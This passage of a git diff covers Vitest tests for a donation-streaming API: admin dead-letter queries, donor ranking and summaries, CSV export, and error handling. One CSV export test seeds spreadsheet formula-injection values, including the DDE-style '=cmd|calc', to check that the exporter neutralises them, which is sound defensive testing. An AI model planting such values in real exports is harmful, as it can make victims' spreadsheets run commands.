app.close(); + }); + + it('rejects invalid limit values (0, negative, >100, non-numeric)', async () => { + const app = buildServer(); + + for (const invalidLimit of ['0', '-5', '101', 'abc']) { + const url = `/v1/admin/dead-letters?limit=${invalidLimit}`; + const headers = signAdminRequest(adminKeypair, 'GET', url); + const response = await app.inject({ method: 'GET', url, headers }); + + expect(response.statusCode).toBe(400); + expect(response.json()).toEqual({ error: 'invalid_request' }); + } + + await app.close(); + }); + + it('rejects a non-UUID cursor with 400 invalid_request', async () => { + const app = buildServer(); + + const url = '/v1/admin/dead-letters?cursor=not-a-valid-uuid'; + const headers = signAdminRequest(adminKeypair, 'GET', url); + const response = await app.inject({ method: 'GET', url, headers }); + + expect(response.statusCode).toBe(400); + expect(response.json()).toEqual({ error: 'invalid_request' }); + + await app.close(); + }); + + it('returns an empty list when a valid UUID cursor does not exist in the database', async () => { + const app = buildServer(); + const nonExistentUuid = '00000000-0000-4000-8000-000000000000'; + await prisma.indexerDeadLetter.create({ data: createDeadLetterFixture(1) }); + + const url = `/v1/admin/dead-letters?cursor=${nonExistentUuid}`; + const headers = signAdminRequest(adminKeypair, 'GET', url); + const response = await app.inject({ method: 'GET', url, headers }); + + expect(response.statusCode).toBe(200); + expect(response.json()).toEqual({ + deadLetters: [], + total: 1, + hasMore: false, + nextCursor: null, + }); + + await app.close(); + }); + + it('correctly returns all full record attributes of a dead letter', async () => { + const app = buildServer(); + + const created = await prisma.indexerDeadLetter.create({ + data: { + eventId: '0000000500-0000000002', + ledger: 500, + contractId: 'CDLKBGX3VTFZZBVBNQYHF47PQO6I7UTBYVVQE3BPJDONF6G4U33Z7VLH', + error: 'TypeError: scValToNative unexpected type', + topic: ['AAAAEgAAAAFjcmVhdGVkAAAAAA==', 'AAAAEAAAAAEAAAAAAAAAUg=='], + value: 'AAAAEAAAAAUAAAAPAAAAB0RFUE9TSVQAAA==', + txHash: '0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef', + attempts: 2, + resolvedAt: null, + }, + }); + + const url = '/v1/admin/dead-letters'; + const headers = signAdminRequest(adminKeypair, 'GET', url); + const response = await app.inject({ method: 'GET', url, headers }); + + expect(response.statusCode).toBe(200); + const body = response.json(); + expect(body.deadLetters).toHaveLength(1); + const record = body.deadLetters[0]; + + expect(record.id).toBe(created.id); + expect(record.eventId).toBe('0000000500-0000000002'); + expect(record.ledger).toBe(500); + expect(record.contractId).toBe('CDLKBGX3VTFZZBVBNQYHF47PQO6I7UTBYVVQE3BPJDONF6G4U33Z7VLH'); + expect(record.error).toBe('TypeError: scValToNative unexpected type'); + expect(record.topic).toHaveLength(2); + expect(record.value).toBe('AAAAEAAAAAUAAAAPAAAAB0RFUE9TSVQAAA=='); + expect(record.txHash).toBe( + '0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef', + ); + expect(record.attempts).toBe(2); + expect(record.resolvedAt).toBeNull(); + expect(record.createdAt).toBeDefined(); + expect(record.updatedAt).toBeDefined(); + + await app.close(); + }); + }); +}); diff --git a/test/routes/donors.test.ts b/test/routes/donors.test.ts index c29678f..f489457 100644 --- a/test/routes/donors.test.ts +++ b/test/routes/donors.test.ts @@ -1,415 +1,415 @@ -import { afterEach, describe, expect, it } from 'vitest'; - -import { prisma } from '../../src/db.js'; -import { buildServer } from '../../src/server.js'; -import { fakeAddress, resetDb } from '../helpers/db.js'; - -describe('GET /v1/donors', () => { - afterEach(async () => { - await resetDb(); - }); - - it('ranks donors by total committed by default', async () => { - const app = buildServer(); - const ngo = await prisma.ngo.create({ - data: { ownerAddress: fakeAddress('N'), name: 'NGO', verified: true }, - }); - const first = await prisma.donor.create({ data: { address: fakeAddress('A') } }); - const second = await prisma.donor.create({ data: { address: fakeAddress('B') } }); - const third = await prisma.donor.create({ data: { address: fakeAddress('C') } }); - - await prisma.stream.createMany({ - data: [ - { - onChainId: 1n, - donorId: first.id, - ngoId: ngo.id, - tokenAddress: fakeAddress('T'), - rate: '1', - balance: '600', - withdrawn: '400', - status: 'ACTIVE', - }, - { - onChainId: 2n, - donorId: second.id, - ngoId: ngo.id, - tokenAddress: fakeAddress('T'), - rate: '0', - balance: '0', - withdrawn: '300', - status: 'CANCELLED', - }, - ], - }); - - const response = await app.inject({ method: 'GET', url: '/v1/donors' }); - - expect(response.statusCode).toBe(200); - expect(response.json().donors).toEqual([ - expect.objectContaining({ id: first.id, totalCommitted: '1000', totalWithdrawn: '400' }), - expect.objectContaining({ id: second.id, totalCommitted: '300', totalWithdrawn: '300' }), - expect.objectContaining({ id: third.id, totalCommitted: '0', totalWithdrawn: '0' }), - ]); - - await app.close(); - }); - - it('returns an ETag and 304 for a matching If-None-Match header', async () => { - const app = buildServer(); - - const first = await app.inject({ method: 'GET', url: '/v1/donors' }); - const etag = first.headers.etag; - expect(etag).toBeDefined(); - expect(first.headers['cache-control']).toContain('max-age=30'); - - const cached = await app.inject({ - method: 'GET', - url: '/v1/donors', - headers: { 'if-none-match': String(etag) }, - }); - expect(cached.statusCode).toBe(304); - expect(cached.body).toBe(''); - expect(cached.headers.etag).toBe(etag); - - await app.close(); - }); - - it('uses a different ETag when a query string changes the representation', async () => { - const app = buildServer(); - const ngo = await prisma.ngo.create({ - data: { ownerAddress: fakeAddress('N'), name: 'NGO', verified: true }, - }); - const [highBalance, highWithdrawn] = await Promise.all([ - prisma.donor.create({ data: { address: fakeAddress('A') } }), - prisma.donor.create({ data: { address: fakeAddress('B') } }), - ]); - - await prisma.stream.createMany({ - data: [ - { - onChainId: 1n, - donorId: highBalance.id, - ngoId: ngo.id, - tokenAddress: fakeAddress('T'), - rate: '1', - balance: '900', - withdrawn: '100', - }, - { - onChainId: 2n, - donorId: highWithdrawn.id, - ngoId: ngo.id, - tokenAddress: fakeAddress('T'), - rate: '1', - balance: '100', - withdrawn: '900', - }, - ], - }); - - const committed = await app.inject({ method: 'GET', url: '/v1/donors?sort=committed' }); - const withdrawn = await app.inject({ method: 'GET', url: '/v1/donors?sort=withdrawn' }); - - expect(committed.statusCode).toBe(200); - expect(withdrawn.statusCode).toBe(200); - expect(committed.body).not.toBe(withdrawn.body); - expect(committed.headers.etag).not.toBe(withdrawn.headers.etag); - - await app.close(); - }); - - it('sorts by withdrawn amount and paginates the ranked result', async () => { - const app = buildServer(); - const ngo = await prisma.ngo.create({ - data: { ownerAddress: fakeAddress('N'), name: 'NGO', verified: true }, - }); - const donors = await Promise.all( - ['A', 'B', 'C'].map((letter) => - prisma.donor.create({ data: { address: fakeAddress(letter) } }), - ), - ); - - await prisma.stream.createMany({ - data: donors.map((donor, index) => ({ - onChainId: BigInt(index + 1), - donorId: donor.id, - ngoId: ngo.id, - tokenAddress: fakeAddress('T'), - rate: '1', - balance: '1000', - withdrawn: String((index + 1) * 100), - })), - }); - - const firstPage = await app.inject({ - method: 'GET', - url: '/v1/donors?sort=withdrawn&order=desc&limit=2', - }); - expect(firstPage.statusCode).toBe(200); - expect(firstPage.json().donors.map((donor: { id: string }) => donor.id)).toEqual([ - donors[2].id, - donors[1].id, - ]); - expect(firstPage.json().nextCursor).toBe(donors[1].id); - - const secondPage = await app.inject({ - method: 'GET', - url: `/v1/donors?sort=withdrawn&order=desc&limit=2&cursor=${firstPage.json().nextCursor}`, - }); - expect(secondPage.statusCode).toBe(200); - expect(secondPage.json().donors.map((donor: { id: string }) => donor.id)).toEqual([ - donors[0].id, - ]); - expect(secondPage.json().nextCursor).toBeNull(); - - await app.close(); - }); -}); - -describe('GET /v1/donors/:address', () => { - afterEach(async () => { - await resetDb(); - }); - - it('summarises committed, withdrawn, active streams and distinct NGOs', async () => { - const app = buildServer(); - const [ngoA, ngoB] = await Promise.all([ - prisma.ngo.create({ - data: { ownerAddress: fakeAddress('N'), name: 'NGO A', verified: true }, - }), - prisma.ngo.create({ - data: { ownerAddress: fakeAddress('M'), name: 'NGO B', verified: true }, - }), - ]); - const donor = await prisma.donor.create({ data: { address: fakeAddress('A') } }); - const other = await prisma.donor.create({ data: { address: fakeAddress('B') } }); - - await prisma.stream.createMany({ - data: [ - // ACTIVE with ngoA: committed = balance + withdrawn = 600 + 400 = 1000 - { - onChainId: 1n, - donorId: donor.id, - ngoId: ngoA.id, - tokenAddress: fakeAddress('T'), - rate: '1', - balance: '600', - withdrawn: '400', - status: 'ACTIVE', - }, - // CANCELLED with ngoB: remaining balance no longer committed. - { - onChainId: 2n, - donorId: donor.id, - ngoId: ngoB.id, - tokenAddress: fakeAddress('T'), - rate: '0', - balance: '500', - withdrawn: '300', - status: 'CANCELLED', - }, - // ACTIVE with ngoB: committed = 200 + 50 = 250 - { - onChainId: 3n, - donorId: donor.id, - ngoId: ngoB.id, - tokenAddress: fakeAddress('U'), - rate: '1', - balance: '200', - withdrawn: '50', - status: 'ACTIVE', - }, - // Another donor's stream must not leak into this summary. - { - onChainId: 4n, - donorId: other.id, - ngoId: ngoA.id, - tokenAddress: fakeAddress('T'), - rate: '1', - balance: '9999', - withdrawn: '9999', - status: 'ACTIVE', - }, - ], - }); - - const response = await app.inject({ method: 'GET', url: `/v1/donors/${donor.address}` }); - - expect(response.statusCode).toBe(200); - expect(response.json()).toEqual( - expect.objectContaining({ - id: donor.id, - address: donor.address, - totalCommitted: '1550', - committedByToken: [ - { tokenAddress: fakeAddress('T'), amount: '1300' }, - { tokenAddress: fakeAddress('U'), amount: '250' }, - ], - totalWithdrawn: '750', - activeStreamCount: 2, - distinctNgoCount: 2, - }), - ); - - await app.close(); - }); - - it('returns zeros for a donor without streams', async () => { - const app = buildServer(); - const donor = await prisma.donor.create({ data: { address: fakeAddress('Z') } }); - - const response = await app.inject({ method: 'GET', url: `/v1/donors/${donor.address}` }); - - expect(response.statusCode).toBe(200); - expect(response.json()).toEqual( - expect.objectContaining({ - totalCommitted: '0', - totalWithdrawn: '0', - activeStreamCount: 0, - distinctNgoCount: 0, - }), - ); - - await app.close(); - }); - - it('returns an ETag and 304 for a matching If-None-Match header', async () => { - const app = buildServer(); - const donor = await prisma.donor.create({ data: { address: fakeAddress('Z') } }); - const url = `/v1/donors/${donor.address}`; - - const first = await app.inject({ method: 'GET', url }); - const etag = first.headers.etag; - expect(etag).toBeDefined(); - expect(first.headers['cache-control']).toContain('max-age=30'); - - const cached = await app.inject({ - method: 'GET', - url, - headers: { 'if-none-match': String(etag) }, - }); - expect(cached.statusCode).toBe(304); - expect(cached.body).toBe(''); - expect(cached.headers.etag).toBe(etag); - - await app.close(); - }); - - it('returns 404 for an unknown donor address', async () => { - const app = buildServer(); - const response = await app.inject({ method: 'GET', url: `/v1/donors/${fakeAddress('Q')}` }); - expect(response.statusCode).toBe(404); - expect(response.json()).toEqual({ error: 'not_found' }); - await app.close(); - }); - - it('returns 400 for a malformed address', async () => { - const app = buildServer(); - const response = await app.inject({ method: 'GET', url: '/v1/donors/not-an-address' }); - expect(response.statusCode).toBe(400); - await app.close(); - }); -}); - -describe('GET /v1/donors/:address/streams.csv', () => { - afterEach(async () => { - await resetDb(); - }); - - it('exports an empty history with headers when donor has no streams', async () => { - const app = buildServer(); - const donor = await prisma.donor.create({ data: { address: fakeAddress('A') } }); - - const response = await app.inject({ - method: 'GET', - url: `/v1/donors/${donor.address}/streams.csv`, - }); - - expect(response.statusCode).toBe(200); - expect(response.headers['content-type']).toBe('text/csv; charset=utf-8'); - expect(response.headers['content-disposition']).toBe( - `attachment; filename="donor-${donor.address}-streams.csv"`, - ); - - const body = response.body.trim(); - expect(body).toBe( - 'id,onChainId,ngoId,ngoName,ngoAddress,tokenAddress,rate,lastRate,balance,withdrawn,status,createdTxHash,createdAt,updatedAt', - ); - - await app.close(); - }); - - it('escapes formula injection characters and special CSV characters', async () => { - const app = buildServer(); - const donor = await prisma.donor.create({ data: { address: fakeAddress('B') } }); - const ngo = await prisma.ngo.create({ - data: { - ownerAddress: fakeAddress('N'), - name: '=SUM(A1:A10)', - displayName: '@Malicious NGO, "Quoted"', - verified: true, - }, - }); - - await prisma.stream.create({ - data: { - onChainId: 100n, - donorId: donor.id, - ngoId: ngo.id, - tokenAddress: fakeAddress('T'), - rate: '+10', - lastRate: '-5', - balance: '500', - withdrawn: '100', - status: 'ACTIVE', - createdTxHash: '=cmd|calc', - }, - }); - - const response = await app.inject({ - method: 'GET', - url: `/v1/donors/${donor.address}/streams.csv`, - }); - - expect(response.statusCode).toBe(200); - expect(response.headers['content-type']).toBe('text/csv; charset=utf-8'); - - const lines = response.body.trim().split(/\r\n|\n/); - expect(lines).toHaveLength(2); - - const row = lines[1]; - // Formula characters prefix check: - // displayName started with '@' and contained quotes/commas -> should be escaped and quoted - expect(row).toContain('"\'@Malicious NGO, ""Quoted"""'); - // rate started with '+' -> '+10' - expect(row).toContain("'+10"); - // lastRate started with '-' -> '-5' - expect(row).toContain("'-5"); - // createdTxHash started with '=' -> '=cmd|calc' - expect(row).toContain("'=cmd|calc"); - - await app.close(); - }); - - it('returns 404 for an unknown donor address', async () => { - const app = buildServer(); - const response = await app.inject({ - method: 'GET', - url: `/v1/donors/${fakeAddress('Q')}/streams.csv`, - }); - expect(response.statusCode).toBe(404); - expect(response.json()).toEqual({ error: 'not_found' }); - await app.close(); - }); - - it('returns 400 for a malformed address', async () => { - const app = buildServer(); - const response = await app.inject({ - method: 'GET', - url: '/v1/donors/not-an-address/streams.csv', - }); - expect(response.statusCode).toBe(400); - await app.close(); - }); -}); +import { afterEach, describe, expect, it } from 'vitest'; + +import { prisma } from '../../src/db.js'; +import { buildServer } from '../../src/server.js'; +import { fakeAddress, resetDb } from '../helpers/db.js'; + +describe('GET /v1/donors', () => { + afterEach(async () => { + await resetDb(); + }); + + it('ranks donors by total committed by default', async () => { + const app = buildServer(); + const ngo = await prisma.ngo.create({ + data: { ownerAddress: fakeAddress('N'), name: 'NGO', verified: true }, + }); + const first = await prisma.donor.create({ data: { address: fakeAddress('A') } }); + const second = await prisma.donor.create({ data: { address: fakeAddress('B') } }); + const third = await prisma.donor.create({ data: { address: fakeAddress('C') } }); + + await prisma.stream.createMany({ + data: [ + { + onChainId: 1n, + donorId: first.id, + ngoId: ngo.id, + tokenAddress: fakeAddress('T'), + rate: '1', + balance: '600', + withdrawn: '400', + status: 'ACTIVE', + }, + { + onChainId: 2n, + donorId: second.id, + ngoId: ngo.id, + tokenAddress: fakeAddress('T'), + rate: '0', + balance: '0', + withdrawn: '300', + status: 'CANCELLED', + }, + ], + }); + + const response = await app.inject({ method: 'GET', url: '/v1/donors' }); + + expect(response.statusCode).toBe(200); + expect(response.json().donors).toEqual([ + expect.objectContaining({ id: first.id, totalCommitted: '1000', totalWithdrawn: '400' }), + expect.objectContaining({ id: second.id, totalCommitted: '300', totalWithdrawn: '300' }), + expect.objectContaining({ id: third.id, totalCommitted: '0', totalWithdrawn: '0' }), + ]); + + await app.close(); + }); + + it('returns an ETag and 304 for a matching If-None-Match header', async () => { + const app = buildServer(); + + const first = await app.inject({ method: 'GET', url: '/v1/donors' }); + const etag = first.headers.etag; + expect(etag).toBeDefined(); + expect(first.headers['cache-control']).toContain('max-age=30'); + + const cached = await app.inject({ + method: 'GET', + url: '/v1/donors', + headers: { 'if-none-match': String(etag) }, + }); + expect(cached.statusCode).toBe(304); + expect(cached.body).toBe(''); + expect(cached.headers.etag).toBe(etag); + + await app.close(); + }); + + it('uses a different ETag when a query string changes the representation', async () => { + const app = buildServer(); + const ngo = await prisma.ngo.create({ + data: { ownerAddress: fakeAddress('N'), name: 'NGO', verified: true }, + }); + const [highBalance, highWithdrawn] = await Promise.all([ + prisma.donor.create({ data: { address: fakeAddress('A') } }), + prisma.donor.create({ data: { address: fakeAddress('B') } }), + ]); + + await prisma.stream.createMany({ + data: [ + { + onChainId: 1n, + donorId: highBalance.id, + ngoId: ngo.id, + tokenAddress: fakeAddress('T'), + rate: '1', + balance: '900', + withdrawn: '100', + }, + { + onChainId: 2n, + donorId: highWithdrawn.id, + ngoId: ngo.id, + tokenAddress: fakeAddress('T'), + rate: '1', + balance: '100', + withdrawn: '900', + }, + ], + }); + + const committed = await app.inject({ method: 'GET', url: '/v1/donors?sort=committed' }); + const withdrawn = await app.inject({ method: 'GET', url: '/v1/donors?sort=withdrawn' }); + + expect(committed.statusCode).toBe(200); + expect(withdrawn.statusCode).toBe(200); + expect(committed.body).not.toBe(withdrawn.body); + expect(committed.headers.etag).not.toBe(withdrawn.headers.etag); + + await app.close(); + }); + + it('sorts by withdrawn amount and paginates the ranked result', async () => { + const app = buildServer(); + const ngo = await prisma.ngo.create({ + data: { ownerAddress: fakeAddress('N'), name: 'NGO', verified: true }, + }); + const donors = await Promise.all( + ['A', 'B', 'C'].map((letter) => + prisma.donor.create({ data: { address: fakeAddress(letter) } }), + ), + ); + + await prisma.stream.createMany({ + data: donors.map((donor, index) => ({ + onChainId: BigInt(index + 1), + donorId: donor.id, + ngoId: ngo.id, + tokenAddress: fakeAddress('T'), + rate: '1', + balance: '1000', + withdrawn: String((index + 1) * 100), + })), + }); + + const firstPage = await app.inject({ + method: 'GET', + url: '/v1/donors?sort=withdrawn&order=desc&limit=2', + }); + expect(firstPage.statusCode).toBe(200); + expect(firstPage.json().donors.map((donor: { id: string }) => donor.id)).toEqual([ + donors[2].id, + donors[1].id, + ]); + expect(firstPage.json().nextCursor).toBe(donors[1].id); + + const secondPage = await app.inject({ + method: 'GET', + url: `/v1/donors?sort=withdrawn&order=desc&limit=2&cursor=${firstPage.json().nextCursor}`, + }); + expect(secondPage.statusCode).toBe(200); + expect(secondPage.json().donors.map((donor: { id: string }) => donor.id)).toEqual([ + donors[0].id, + ]); + expect(secondPage.json().nextCursor).toBeNull(); + + await app.close(); + }); +}); + +describe('GET /v1/donors/:address', () => { + afterEach(async () => { + await resetDb(); + }); + + it('summarises committed, withdrawn, active streams and distinct NGOs', async () => { + const app = buildServer(); + const [ngoA, ngoB] = await Promise.all([ + prisma.ngo.create({ + data: { ownerAddress: fakeAddress('N'), name: 'NGO A', verified: true }, + }), + prisma.ngo.create({ + data: { ownerAddress: fakeAddress('M'), name: 'NGO B', verified: true }, + }), + ]); + const donor = await prisma.donor.create({ data: { address: fakeAddress('A') } }); + const other = await prisma.donor.create({ data: { address: fakeAddress('B') } }); + + await prisma.stream.createMany({ + data: [ + // ACTIVE with ngoA: committed = balance + withdrawn = 600 + 400 = 1000 + { + onChainId: 1n, + donorId: donor.id, + ngoId: ngoA.id, + tokenAddress: fakeAddress('T'), + rate: '1', + balance: '600', + withdrawn: '400', + status: 'ACTIVE', + }, + // CANCELLED with ngoB: remaining balance no longer committed. + { + onChainId: 2n, + donorId: donor.id, + ngoId: ngoB.id, + tokenAddress: fakeAddress('T'), + rate: '0', + balance: '500', + withdrawn: '300', + status: 'CANCELLED', + }, + // ACTIVE with ngoB: committed = 200 + 50 = 250 + { + onChainId: 3n, + donorId: donor.id, + ngoId: ngoB.id, + tokenAddress: fakeAddress('U'), + rate: '1', + balance: '200', + withdrawn: '50', + status: 'ACTIVE', + }, + // Another donor's stream must not leak into this summary. + { + onChainId: 4n, + donorId: other.id, + ngoId: ngoA.id, + tokenAddress: fakeAddress('T'), + rate: '1', + balance: '9999', + withdrawn: '9999', + status: 'ACTIVE', + }, + ], + }); + + const response = await app.inject({ method: 'GET', url: `/v1/donors/${donor.address}` }); + + expect(response.statusCode).toBe(200); + expect(response.json()).toEqual( + expect.objectContaining({ + id: donor.id, + address: donor.address, + totalCommitted: '1550', + committedByToken: [ + { tokenAddress: fakeAddress('T'), amount: '1300' }, + { tokenAddress: fakeAddress('U'), amount: '250' }, + ], + totalWithdrawn: '750', + activeStreamCount: 2, + distinctNgoCount: 2, + }), + ); + + await app.close(); + }); + + it('returns zeros for a donor without streams', async () => { + const app = buildServer(); + const donor = await prisma.donor.create({ data: { address: fakeAddress('Z') } }); + + const response = await app.inject({ method: 'GET', url: `/v1/donors/${donor.address}` }); + + expect(response.statusCode).toBe(200); + expect(response.json()).toEqual( + expect.objectContaining({ + totalCommitted: '0', + totalWithdrawn: '0', + activeStreamCount: 0, + distinctNgoCount: 0, + }), + ); + + await app.close(); + }); + + it('returns an ETag and 304 for a matching If-None-Match header', async () => { + const app = buildServer(); + const donor = await prisma.donor.create({ data: { address: fakeAddress('Z') } }); + const url = `/v1/donors/${donor.address}`; + + const first = await app.inject({ method: 'GET', url }); + const etag = first.headers.etag; + expect(etag).toBeDefined(); + expect(first.headers['cache-control']).toContain('max-age=30'); + + const cached = await app.inject({ + method: 'GET', + url, + headers: { 'if-none-match': String(etag) }, + }); + expect(cached.statusCode).toBe(304); + expect(cached.body).toBe(''); + expect(cached.headers.etag).toBe(etag); + + await app.close(); + }); + + it('returns 404 for an unknown donor address', async () => { + const app = buildServer(); + const response = await app.inject({ method: 'GET', url: `/v1/donors/${fakeAddress('Q')}` }); + expect(response.statusCode).toBe(404); + expect(response.json()).toEqual({ error: 'not_found' }); + await app.close(); + }); + + it('returns 400 for a malformed address', async () => { + const app = buildServer(); + const response = await app.inject({ method: 'GET', url: '/v1/donors/not-an-address' }); + expect(response.statusCode).toBe(400); + await app.close(); + }); +}); + +describe('GET /v1/donors/:address/streams.csv', () => { + afterEach(async () => { + await resetDb(); + }); + + it('exports an empty history with headers when donor has no streams', async () => { + const app = buildServer(); + const donor = await prisma.donor.create({ data: { address: fakeAddress('A') } }); + + const response = await app.inject({ + method: 'GET', + url: `/v1/donors/${donor.address}/streams.csv`, + }); + + expect(response.statusCode).toBe(200); + expect(response.headers['content-type']).toBe('text/csv; charset=utf-8'); + expect(response.headers['content-disposition']).toBe( + `attachment; filename="donor-${donor.address}-streams.csv"`, + ); + + const body = response.body.trim(); + expect(body).toBe( + 'id,onChainId,ngoId,ngoName,ngoAddress,tokenAddress,rate,lastRate,balance,withdrawn,status,createdTxHash,createdAt,updatedAt', + ); + + await app.close(); + }); + + it('escapes formula injection characters and special CSV characters', async () => { + const app = buildServer(); + const donor = await prisma.donor.create({ data: { address: fakeAddress('B') } }); + const ngo = await prisma.ngo.create({ + data: { + ownerAddress: fakeAddress('N'), + name: '=SUM(A1:A10)', + displayName: '@Malicious NGO, "Quoted"', + verified: true, + }, + }); + + await prisma.stream.create({ + data: { + onChainId: 100n, + donorId: donor.id, + ngoId: ngo.id, + tokenAddress: fakeAddress('T'), + rate: '+10', + lastRate: '-5', + balance: '500', + withdrawn: '100', + status: 'ACTIVE', + createdTxHash: '=cmd|calc', + }, + }); + + const response = await app.inject({ + method: 'GET', + url: `/v1/donors/${donor.address}/streams.csv`, + }); + + expect(response.statusCode).toBe(200); + expect(response.headers['content-type']).toBe('text/csv; charset=utf-8'); + + const lines = response.body.trim().split(/\r\n|\n/); + expect(lines).toHaveLength(2); + + const row = lines[1]; + // Formula characters prefix check: + // displayName started with '@' and contained quotes/commas -> should be escaped and quoted + expect(row).toContain('"\'@Malicious NGO, ""Quoted"""'); + // rate started with '+' -> '+10' + expect(row).toContain("'+10"); + // lastRate started with '-' -> '-5' + expect(row).toContain("'-5"); + // createdTxHash started with '=' -> '=cmd|calc' + expect(row).toContain("'=cmd|calc"); + + await app.close(); + }); + + it('returns 404 for an unknown donor address', async () => { + const app = buildServer(); + const response = await app.inject({ + method: 'GET', + url: `/v1/donors/${fakeAddress('Q')}/streams.csv`, + }); + expect(response.statusCode).toBe(404); + expect(response.json()).toEqual({ error: 'not_found' }); + await app.close(); + }); + + it('returns 400 for a malformed address', async () => { + const app = buildServer(); + const response = await app.inject({ + method: 'GET', + url: '/v1/donors/not-an-address/streams.csv', + }); + expect(response.statusCode).toBe(400); + await app.close(); + }); +}); diff --git a/test/routes/errorHandler.test.ts b/test/routes/errorHandler.test.ts index e66ab44..7133026 100644 --- a/test/routes/errorHandler.test.ts +++ b/test/routes/errorHandler.test.ts @@ -1,182 +1,182 @@ -import { describe, expect, it } from 'vitest'; - -import { buildServer } from '../../src/server.js'; - -describe('Global Error Handler', () => { - it('normalizes unhandled exceptions into { error: "..." } shape without leaking internal details', async () => { - const app = buildServer(); - - app.get('/test-error', async () => { - throw new Error('Database connection secret details'); - }); - - const response = await app.inject({ - method: 'GET', - url: '/test-error', - }); - - expect(response.statusCode).toBe(500); - const body = response.json(); - expect(body).toEqual({ error: 'internal_server_error' }); - expect(JSON.stringify(body)).not.toContain('Database connection secret details'); - - await app.close(); - }); - - it('maps 400 status code to { error: "invalid_request" }', async () => { - const app = buildServer(); - - app.post('/test-400', async () => { - const err = new Error('Validation failed') as Error & { statusCode: number }; - err.statusCode = 400; - throw err; - }); - - const response = await app.inject({ - method: 'POST', - url: '/test-400', - }); - - expect(response.statusCode).toBe(400); - expect(response.json()).toEqual({ error: 'invalid_request' }); - - await app.close(); - }); - - it('maps 401 status code to { error: "internal_server_error" }', async () => { - const app = buildServer(); - - app.get('/test-401', async () => { - const err = new Error('Unauthorized') as Error & { statusCode: number }; - err.statusCode = 401; - throw err; - }); - - const response = await app.inject({ - method: 'GET', - url: '/test-401', - }); - - expect(response.statusCode).toBe(401); - expect(response.json()).toEqual({ error: 'internal_server_error' }); - - await app.close(); - }); - - it('maps 404 status code from a known route to { error: "not_found" }', async () => { - const app = buildServer(); - - app.get('/test-404', async () => { - const err = new Error('Not found') as Error & { statusCode: number }; - err.statusCode = 404; - throw err; - }); - - const response = await app.inject({ - method: 'GET', - url: '/test-404', - }); - - expect(response.statusCode).toBe(404); - expect(response.json()).toEqual({ error: 'not_found' }); - - await app.close(); - }); - - it('returns the standard error body for unknown routes', async () => { - const app = buildServer(); - - const response = await app.inject({ - method: 'GET', - url: '/this-route-does-not-exist', - }); - - expect(response.statusCode).toBe(404); - expect(response.json()).toEqual({ error: 'not_found' }); - - await app.close(); - }); - - it('returns the standard error body for an unknown path under /v1', async () => { - const app = buildServer(); - - const response = await app.inject({ - method: 'GET', - url: '/v1/this-route-does-not-exist', - }); - - expect(response.statusCode).toBe(404); - expect(response.json()).toEqual({ error: 'not_found' }); - - await app.close(); - }); - - it('maps 413 status code to { error: "payload_too_large" }', async () => { - const app = buildServer(); - - app.post('/test-payload-limit', { bodyLimit: 50 }, async () => { - return { ok: true }; - }); - - const response = await app.inject({ - method: 'POST', - url: '/test-payload-limit', - headers: { 'content-type': 'application/json' }, - payload: JSON.stringify({ data: 'x'.repeat(100) }), - }); - - expect(response.statusCode).toBe(413); - expect(response.json()).toEqual({ error: 'payload_too_large' }); - - await app.close(); - }); - - it('maps 429 status code to { error: "rate_limited" }', async () => { - const originalMax = process.env.RATE_LIMIT_MAX; - const originalWindow = process.env.RATE_LIMIT_WINDOW; - process.env.RATE_LIMIT_MAX = '1'; - process.env.RATE_LIMIT_WINDOW = '1 minute'; - - const app = buildServer(); - - const first = await app.inject({ - method: 'GET', - url: '/v1/indexer/status', - }); - expect(first.statusCode).toBe(200); - - const second = await app.inject({ - method: 'GET', - url: '/v1/indexer/status', - }); - expect(second.statusCode).toBe(429); - expect(second.json()).toEqual({ error: 'rate_limited' }); - - await app.close(); - - if (originalMax === undefined) delete process.env.RATE_LIMIT_MAX; - else process.env.RATE_LIMIT_MAX = originalMax; - if (originalWindow === undefined) delete process.env.RATE_LIMIT_WINDOW; - else process.env.RATE_LIMIT_WINDOW = originalWindow; - }); - - it('maps 415 status code to { error: "unsupported_media_type" }', async () => { - const app = buildServer(); - - app.post('/test-415', async () => { - const err = new Error('Unsupported Media Type') as Error & { statusCode: number }; - err.statusCode = 415; - throw err; - }); - - const response = await app.inject({ - method: 'POST', - url: '/test-415', - }); - - expect(response.statusCode).toBe(415); - expect(response.json()).toEqual({ error: 'unsupported_media_type' }); - - await app.close(); - }); -}); +import { describe, expect, it } from 'vitest'; + +import { buildServer } from '../../src/server.js'; + +describe('Global Error Handler', () => { + it('normalizes unhandled exceptions into { error: "..." } shape without leaking internal details', async () => { + const app = buildServer(); + + app.get('/test-error', async () => { + throw new Error('Database connection secret details'); + }); + + const response = await app.inject({ + method: 'GET', + url: '/test-error', + }); + + expect(response.statusCode).toBe(500); + const body = response.json(); + expect(body).toEqual({ error: 'internal_server_error' }); + expect(JSON.stringify(body)).not.toContain('Database connection secret details'); + + await app.close(); + }); + + it('maps 400 status code to { error: "invalid_request" }', async () => { + const app = buildServer(); + + app.post('/test-400', async () => { + const err = new Error('Validation failed') as Error & { statusCode: number }; + err.statusCode = 400; + throw err; + }); + + const response = await app.inject({ + method: 'POST', + url: '/test-400', + }); + + expect(response.statusCode).toBe(400); + expect(response.json()).toEqual({ error: 'invalid_request' }); + + await app.close(); + }); + + it('maps 401 status code to { error: "internal_server_error" }', async () => { + const app = buildServer(); + + app.get('/test-401', async () => { + const err = new Error('Unauthorized') as Error & { statusCode: number }; + err.statusCode = 401; + throw err; + }); + + const response = await app.inject({ + method: 'GET', + url: '/test-401', + }); + + expect(response.statusCode).toBe(401); + expect(response.json()).toEqual({ error: 'internal_server_error' }); + + await app.close(); + }); + + it('maps 404 status code from a known route to { error: "not_found" }', async () => { + const app = buildServer(); + + app.get('/test-404', async () => { + const err = new Error('Not found') as Error & { statusCode: number }; + err.statusCode = 404; + throw err; + }); + + const response = await app.inject({ + method: 'GET', + url: '/test-404', + }); + + expect(response.statusCode).toBe(404); + expect(response.json()).toEqual({ error: 'not_found' }); + + await app.close(); + }); + + it('returns the standard error body for unknown routes', async () => { + const app = buildServer(); + + const response = await app.inject({ + method: 'GET', + url: '/this-route-does-not-exist', + }); + + expect(response.statusCode).toBe(404); + expect(response.json()).toEqual({ error: 'not_found' }); + + await app.close(); + }); + + it('returns the standard error body for an unknown path under /v1', async () => { + const app = buildServer(); + + const response = await app.inject({ + method: 'GET', + url: '/v1/this-route-does-not-exist', + }); + + expect(response.statusCode).toBe(404); + expect(response.json()).toEqual({ error: 'not_found' }); + + await app.close(); + }); + + it('maps 413 status code to { error: "payload_too_large" }', async () => { + const app = 